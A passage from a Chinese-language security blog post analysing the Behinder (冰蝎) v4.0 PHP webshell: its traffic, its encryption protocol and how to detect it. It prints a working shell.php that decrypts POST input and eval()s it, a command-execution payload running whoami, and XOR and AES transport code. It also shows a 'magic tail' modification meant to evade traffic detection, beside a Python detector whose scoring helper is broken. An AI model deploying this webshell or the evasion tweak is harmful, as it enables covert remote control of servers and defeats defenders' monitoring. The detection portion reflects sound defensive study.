        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result));
        return;

    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result));
}


function encrypt($data)
{
    $key="25f9e794323b4538";
        for($i=0;$i<strlen($data);$i++) {
        $data[$i] = $data[$i]^$key[$i+1&15];
    }
    $bs="base64_"."encode";
        $after=$bs($data."");
    return $after;
}
$cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk=";
$cmd=base64_decode($cmd);
$path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8=";
$path=base64_decode($path);
main($cmd,$path);

$cmd 对应的是 cd /d "C:\phpstudy_pro\WWW\diagnostic_0\diagnostic\assets\uploadImage\Logo\"&whoami

$path 对应的是 C:/phpstudy_pro/WWW/diagnostic_0/diagnostic/assets/uploadImage/Logo/

对应回显是

{"status":"c3VjY2Vzcw==","msg":"ZGVza3RvcC1xbWNzOWdvXGRydW5rYmFieQ0K"}

一些疑问和改进点

简单来说,如果作为蓝队,需要严格分析的是第三个流量包,也就是命令执行的流量包,这也最容易分析。在学习阶段我也思考了具体的几个点

  • 1、连马是如何连上的,看起来 shell.php 需要我们 post 传入 $data,这一步在流量分析中并没有抓到。
  • 2、针对 aesxor_base64 进行加密的防御型脚本检测。
  • 3、冰蝎的改写,是否可以采用新型加密方式。

0x04 冰蝎传输与攻防

冰蝎传输与连马&命令执行

  • 一开始这里我也不太理解,后面在看了冰蝎作者的文章之后恍然大悟,原文链接 —— https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A

冰蝎 v4.0 版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。按照冰蝎 3.0 版本当中的密码依旧是 “rebeyond”,但是冰蝎 v4.0 的马使用蚁剑,以 “rebeyond” 作为密码是连不上的(亲测

在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。

首先看一下冰蝎Payload流转的流程图:

可以分为这五个流程

  • 1、本地对 Payload 进行加密,然后通过 POST 请求发送给远程服务端;
  • 2、服务端收到 Payload 密文后,利用解密算法进行解密;
  • 3、服务端执行解密后的 Payload,并获取执行结果;

这三步的基础是 shell.php,通过 post 请求传 body

<?php
@error_reporting(0);
	function decrypt($data)
{
    $key="25f9e794323b4538"; 
    $bs="base64_"."decode";
	$after=$bs($data."");
	for($i=0;$i<strlen($after);$i++) {
    	$after[$i] = $after[$i]^$key[$i+1&15]; 
    }
    return $after;
}
	$post=Decrypt(file_get_contents("php://input"));
    eval($post);
?>

在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定你(受攻击端)确实是能够和我(本地攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。

对应的代码如下,这是冰蝎当中 payload/php 下的代码 ———— Echo.php

  • 在实际传输过程中会发现冰蝎发包时多了一个 encrypt() 函数,我后续会对这一现象进行解释。
@error_reporting(0);

function main($content)
{
    $result = array();
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    @session_start();    //初始化session,避免connect之后直接background,后续get result无法获取cookie
    echo encrypt(json_encode($result));
}

function encrypt($data)
{    
    $key="25f9e794323b4538"; 
    for($i=0;$i<strlen($data);$i++) {
        $data[$i] = $data[$i]^$key[$i+1&15];     
    }    
    $bs="base64_"."encode";
    $after=$bs($data."");    
    return $after;
}

$content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg==";
$content=base64_decode($content);
main($content);

在这一次内容传输结束之后,冰蝎确认被攻击端与本地可以建立传输,才会发第二次包,也就是执行 phpinfo() 命令,代码略。

接着

  • 4、服务端对 Payload 执行结果进行加密,然后返回给本地客户端;
  • 5、客户端收到响应密文后,利用解密算法解密,得到响应内容明文。

响应内容略,在上文中已经提到过。

由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用 Java 开发,因此本地协议的加解密算法需要用 Java 实现。远程协议根据服务端语言类型,可能为 JavaPHPC#ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。

如下是一个最简单的 php 版本的传输协议:

传输协议的加解密函数名称分别为 Encrypt 和 Decrypt,且都只有一个入参,参数类型为二进制字节流。这也就是为什么在 shell.php 中存在一个 Decrypt() 函数,且每一次的发包中有 encrypt() 函数的原因。如此一来就实现了这一个条件 ———— 本地有一对加解密的函数,由 Java 编写;远程端(受攻击端)存在一对加解密的函数,由对应远程端的语言决定,如果是 php 就是由 php 编写,若是 asp 就由 asp 编写(亲测如此)

针对冰蝎 xor_base64 的检测脚本编写

内容是基于 LiRiu 师傅的文章写的

  • 我认为的脚本编写,不应该是针对某个 User-Agent 或者是 Payload 开头等进行单一的判断,为了很多正常请求的通过,这些判断一定是需要综合考虑的。

因此合理的方式应该是记分的,判断恶意性的大小。我们先来看冰蝎在第二次连接的时候,也就是请求 phpinfo() 时的包

针对一些 HTTP 头的检测

HTTP 请求头

它的几个 Accept 头通常是固定的,所以这里可以作为一个主判断点

Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

有的师傅说冰蝎 4.0 当中的 UA 是十选一的,我觉得这里占比相当小,并不需要将 UA 加入进判断规则当中。

Content-Length 较大

Content-Length: 8244

可以作为辅助特征进行检测。

冰蝎通讯默认使用长连接

造成的影响是包中存在如下 HTTP 头,可以作为辅助特征进行检测。

Connection: Keep-Alive

端口检测

冰蝎与 webshell 建立连接的同时,javaw 也与目的主机建立 tcp 连接,每次连接使用本地端口在 49700 左右,每连接一次,每建立一次新的连接,端口就依次增加。此处可以对符合该范围内的端口告警。

针对恶意脚本内容的检测

冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以 @error_reporting 开头

@error_reporting(0);  
function main

所以对于这一段,个人认为是可以作为主要检测规则的,所以此处需要先写一个 xor_base64,单纯检测恶意脚本的 python 程序如下

from base64 import b64decode

phrases = [
    "assert|eval(base64_decode('".encode(),
    b'<?\n@error_reporting(0);\n\nfunctio',
    b'<?\nfunction main($action, $remot',
    b'<?\n@error_reporting(0);\nset_time',
    b'\nerror_reporting(0);\n\nfunction m',
    b'<?\n@error_reporting(0);\n\n\nfuncti',
    b'<?\nerror_reporting(0);\nfunction ',
    b'@error_reporting(0);\nfunction ma',
    b'<?php\n\n$taskResult = array();\n$p',
    b"<?\nerror_reporting(0);\nheader('C",
    b'@error_reporting(0);\n\nfunction g',
    b'<?\n@error_reporting(0);\n@set_tim',
]

def xor(l0, l1):
    ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a,b in zip(l0,l1)]
    return "".join(ret)
        

def check(cipher):
    cipher = b64decode(cipher)
    for phrase in phrases:
        p0 = phrase[0:16]
        p1 = phrase[16:]
        
        c0 = cipher[0:16]
        c1 = cipher[16:16+len(p1)]

        k0 = xor(p0, c0)
        k1 = xor(p1, c1)

        if k1 in k0:
            return k0
    return None

cipher = "..."
HeaderData = "..."

key = check(cipher)
if key:
    print("[+]", cipher[:32], "is XOR Behinder Request!")
    print("[+] The Key of Behinder is ", key)
else:
    print("[-]", cipher[:32], "not Behinder Request..")

接着加上辅助判断

def auxiliaryPoints(HeaderData):  
    # 辅助判断的函数
    evilPoint = 0
    list = []
    LightBlacklist = [
        b'Accept: application/json, text/javascript, */*; q=0.01',
        b'Accept-Encoding: identity',
        b'Connection: Keep-Alive',
    ]

    for temp in HeaderData:
        list.append(temp)
    lenData = 0
    while lenData <= HeaderData.length():
        if(list[lenData].contains(LightBlacklist)):
            evilPoint = evilPoint + 10
    return evilPoint

LiRiu 师傅的可以,但是我自己的包失败了。。

冰蝎马的改写与绕过 tips

冰蝎作者提出了一种非常巧妙的绕过方式,也就是在 AES 加密的时候增加一个小尾巴,这个尾巴存在自定义的可能性,也就让很多设备难以进行检测了。

加密算法

本地默认的 aes 传输协议加密算法如下:

    private byte[] Encrypt(byte[] data) throws Exception
    {
        String key="e45e329feb5d925b";
        byte[] raw = key.getBytes("utf-8");
        javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
        javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
        cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
        byte[] encrypted = cipher.doFinal(data);
        Class baseCls;
        try
        {
            baseCls=Class.forName("java.util.Base64");
            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
            encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
        }
        catch (Throwable error)
        {
            baseCls=Class.forName("sun.misc.BASE64Encoder");
            Object Encoder=baseCls.newInstance();
            String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
            result=result.replace("\n", "").replace("\r", "");
            encrypted=result.getBytes();
        }
        return encrypted;
    }

服务端是 PHP,使用默认的 aes 算法,但是由于默认使用的是 aes128 的算法,会导致密文长度恒是 16 的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个 magic 尾巴,随机产生一个随机长度的额外字节数组

修改后本地

private byte[] Encrypt(byte[] data) throws Exception
{
    String key="e45e329feb5d925b";
    byte[] raw = key.getBytes("utf-8");
    javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
    javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
    cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
    byte[] encrypted = cipher.doFinal(data);
    Class baseCls;
    try
    {
        baseCls=Class.forName("java.util.Base64");
        Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
        encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
    }
    catch (Throwable error)
    {
        baseCls=Class.forName("sun.misc.BASE64Encoder");
        Object Encoder=baseCls.newInstance();
        String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
        result=result.replace("\n", "").replace("\r", "");
        encrypted=result.getBytes();
    }
    //增加魔法尾巴
    int magicNum=Integer.parseInt(key.substring(0,2),16)%16;
    java.util.Random random=new java.util.Random();
    byte[] buf=new byte[magicNum];
    for (int i=0;i<buf.length;i++)
    {
        buf[i]=(byte)random.nextInt(256);
    }
    java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();
    output.write(encrypted);
    output.write(buf);
    return output.toByteArray();
}

远程

由于我们目前假设的是一个 PHP 的目标环境,远程加密函数采用 PHP 格式编写,如下:

function Encrypt($data)  
{  
	$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond  
	$encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));  
	$magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度  
	for($i=0;$i<$magicNum;$i++) {  
		$encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴  
	}  
	return $encrypted;  
}

解密算法

在加密算法中,我们在原版 aes 的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对 16 取模的值。在解密时,我们只需要在原版 aes 解密函数的基础上,把密文最后的尾巴截掉即可。分别对 Java 版本和 PHP 版本的解密函数做修改。

本地

private byte[] Decrypt(byte[] data) throws Exception
{
    String k="e45e329feb5d925b";
    int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度
    data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail
    javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
    byte[] decodebs;
    Class baseCls ;
            try{
                baseCls=Class.forName("java.util.Base64");
                Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
            }
            catch (Throwable e)
            {
                baseCls = Class.forName("sun.misc.BASE64Decoder");
                Object Decoder=baseCls.newInstance();
                decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

            }
    return c.doFinal(decodebs);
}

远程

function Decrypt($data)  
{  
	$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond  
	$magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度  
	$data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail  
	return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);  
}

从理论上来说,这一种方式也可以绕过 xor_base64 的检测

0x05 小结

对于冰蝎 4.0 版本的分析大部分还是由自己独立完成,在还没有看作者写的内容的时候就意识到了传输协议的本质,冰蝎 4.0 写的确实非常厉害。

而在作者的文章当中也提供了很有启发性的思维 ———— 尽量以算法的方式改写冰蝎的攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/166517.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【关于Linux中----进程间通信方式之system V共享内存】

文章目录一、共享内存示意图二、学习共享内存前的准备工作三、共享内存函数3.1创建共享内存&#xff1a;3.2控制共享内存&#xff1a;3.3挂接和去挂接&#xff1a;一、共享内存示意图 上一篇文章中讲述的是管道的通信方式&#xff0c;而这里要讲的是操作系统层面专门为进程间通…

编译原理-链接实例分析

gcc-arm-none-eabi 工具链功能1.arm-none-eabi-gcc &#xff1a;c语言编译器&#xff0c;可以将.c文件编译为.o的执行文件2.arm-none-eabi-g &#xff1a;c编译器&#xff0c;可以将.cpp文件编译成.o的执行文件3.arm-none-eabi-ld : 链接器&#xff0c;链接所有的.o文件生成可执…

CDH6.3生产环境中禁用Kerberos

在集群启用Kerberos后&#xff0c;会对现有环境的部分代码做改造&#xff0c;有些人觉得使用起来不方便&#xff0c;想取消Kerberos。本篇文章主要介绍如何禁用CDH集群的Kerberos及禁用后对各组件服务的测试。修改了网上相关文档的一些缺陷&#xff0c;在生产环境中实际使用过通…

GIT ---- GitHub配置SSH Key的完整步骤

1. 配置 SSH Key 由于提交代码每次输入用户名和密码&#xff0c;很繁琐&#xff0c;所以直接配置 SSH Key&#xff0c;直接自动验证&#xff0c;减少提交代码的操作步骤。 2. 查看配置命令 git config --list 查看当前Git环境所有配置&#xff0c;还可以配置一些命令别名之类…

这一年,熬过许多夜,也有些许收获 | 2022年度总结

弹指一挥间&#xff0c;时间如白驹过隙。光阴似箭&#xff0c;日月如梭&#xff0c;时间如闪电&#xff0c;转瞬即逝。回望来时路&#xff0c;不觉潸然泪下… 一说到年终总结&#xff0c;好像都离不开这样煽情的开场白。但不可否认的是&#xff0c;时间确实过得很快&#xff0…

学习记录661@项目管理之项目立项管理

什么是项目立项管理 项目立项管理关注的重点在于是否要启动一个项目&#xff0c;并为其提供相应的预算支持具体来说&#xff0c;项目立项管理包括以下 5 个典型环节&#xff0c;分别是 项目建议项目可行性分析项目审批项目招投标项目合同谈判与签订 需要说明的是&#xff0c…

两大技巧教你轻松应对IB数学

同学想要在IB数学科取得好成绩&#xff0c;可以从两个方面来着手。 1.复习技巧第一个是复习技巧。这方面&#xff0c;同学要清楚知道自己读的课程&#xff0c;它的教学大纲&#xff08;Syllabus&#xff09;要求是什么&#xff0c;还有它背后想要同学达到什么样的目标。 IB数学…

浅谈DNS解析

DNS介绍IP是计算机里的地址簿&#xff0c;但是IP是由一串数字组成&#xff0c;我们的大脑很难记住&#xff0c;所以就需要定义一个符合人类记忆规则的地址&#xff0c;而这就是我们现在常用的网站域名&#xff0c;域名就是我们和计算机作为地址沟通的桥梁&#xff0c; 虽然我们…

物流企业如何确保网络安全?

随着网上购物的发展&#xff0c;人们的日常生活越来越离不开物流企业的服务了。而且在一些企业的供应链中&#xff0c;物流运输也是非常重要的一环节。与此同时&#xff0c;伴随着供应链数字化&#xff0c;透明度、速度和成本优势增加了公司对技术的兴趣。物流企业也更喜欢使用…

开放式基金净值实时数据 API 数据接口

开放式基金净值实时数据 API 数据接口 实时净值&#xff0c;全量实时数据&#xff0c;包含净值与增长率。 1. 产品功能 支持所有开放式基金净值数据查询&#xff1b;实时数据&#xff0c;包含实时净值与增长率信息&#xff0c;16:00 ~ 23:00 更新当日数据&#xff1b;包含前一…

C语言模拟实现库函数strstr

传入两个地址&#xff0c;第一个是母串首地址&#xff0c;第二个是子串首地址&#xff0c;判断是否是子串&#xff0c;如果不是&#xff0c;返回NULL&#xff0c;如果是&#xff0c;返回母串中第一次出现子串的首地址。 代码如下&#xff1a; #define _CRT_SECURE_NO_WARNING…

Android | Activity

Android Activity Activity 概念 Activity 是一种包含用户界面、主要用于与用户进行交互的Android应用组件。一个应用程序可以包含零个或多个 Activity 。 Activity 生命周期 Activity 类中定义了7个回调方法&#xff0c;覆盖了 Activity 生命周期的每一个环节。 onCreate(…

力扣sql基础篇(九)

力扣sql基础篇(九) 1 每位经理的下属员工数量 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 # 如果是得出来每组都是一个值,就可以在SELECT子句中写非分组字段 # e1.reports_to IS NOT NULL是为了确保是员工,通过员工去找经理 SELECT e2.employee_…

第二章.线性回归以及非线性回归—标准方程法

第二章.线性回归以及非线性回归 2.8 标准方程法 1.公式 1).代价函数&#xff1a; 2).累加平方和用矩阵表示&#xff1a; 2.对(&#x1d466; − &#x1d44b;&#x1d464;)&#x1d447;(&#x1d466; − &#x1d44b;&#x1d464;)求导的两种布局方式&#xff1a; 1).分子…

【初阶数据结构】——写了将近 5 万字,终于把 二叉树 初阶的内容讲清楚了

文章目录前言1. 树的概念及结构1.1 树的概念1.2 树与非树1.3 树的相关概念1.4 树的表示1.5 树在实际中的运用&#xff08;表示文件系统的目录树结构&#xff09;2. 二叉树概念及结构2.1 概念2.2 现实中的二叉树2.3 特殊的二叉树2.3.1 满二叉树2.3.1 完全二叉树2.4 二叉树的性质…

2022年Tesla技术分享

Autopilot&#xff1a;允许车辆保持车道&#xff0c;跟随前车&#xff0c;弯道减速&#xff0c;等等&#xff0c;处理从停车场到城市街道&#xff0c;再到高速公路的所有驾驶过程。 一、硬件&#xff1a; 8个120W像素的摄像头&#xff0c;每秒36帧&#xff0c;360度空间&#…

牛客竞赛每日俩题 - 动态规划4

目录 经典dp1&#xff08;最长公共序列&#xff09; 经典dp2&#xff08;最长上升子序列 &#xff09; 经典dp&#xff08;最长公共序列&#xff09; 最长公共子序列__牛客网 解析&#xff1a; 有两个字符串T和S&#xff0c;S的长度为n T的长度为m 状态&#xff1a;f[i][j…

C# LINQ查询

一、什么是LINQ LINQ是Language-Integrated Query的缩写&#xff0c;它可以视为一组语言和框架特性的集合。LINQ可以对本地对象集合或远程数据源进行结构化的类型安全的查询操作。LINQ支持查询任何实现了IEnumerable<T>接口的集合类型&#xff0c;无论是数组、列表还是X…

oracle12c数据库安装(静默安装

写在前面 本教程是在Linux下安装oracle12c数据库&#xff0c;由于在有些情况下并没有图形化安装界面&#xff0c;所以这里介绍在linux下通用的安装方式&#xff1a;静默安装&#xff0c;通俗的说就是在linux的命令行窗口安装。 关闭防火墙 systemctl disable firewalld sy…

LeetCode 300. 最长递增子序列

&#x1f308;&#x1f308;&#x1f604;&#x1f604; 欢迎来到茶色岛独家岛屿&#xff0c;本期将为大家揭晓LeetCode 300. 最长递增子序列&#xff0c;做好准备了么&#xff0c;那么开始吧。 &#x1f332;&#x1f332;&#x1f434;&#x1f434; 一、题目名称 LeetCo…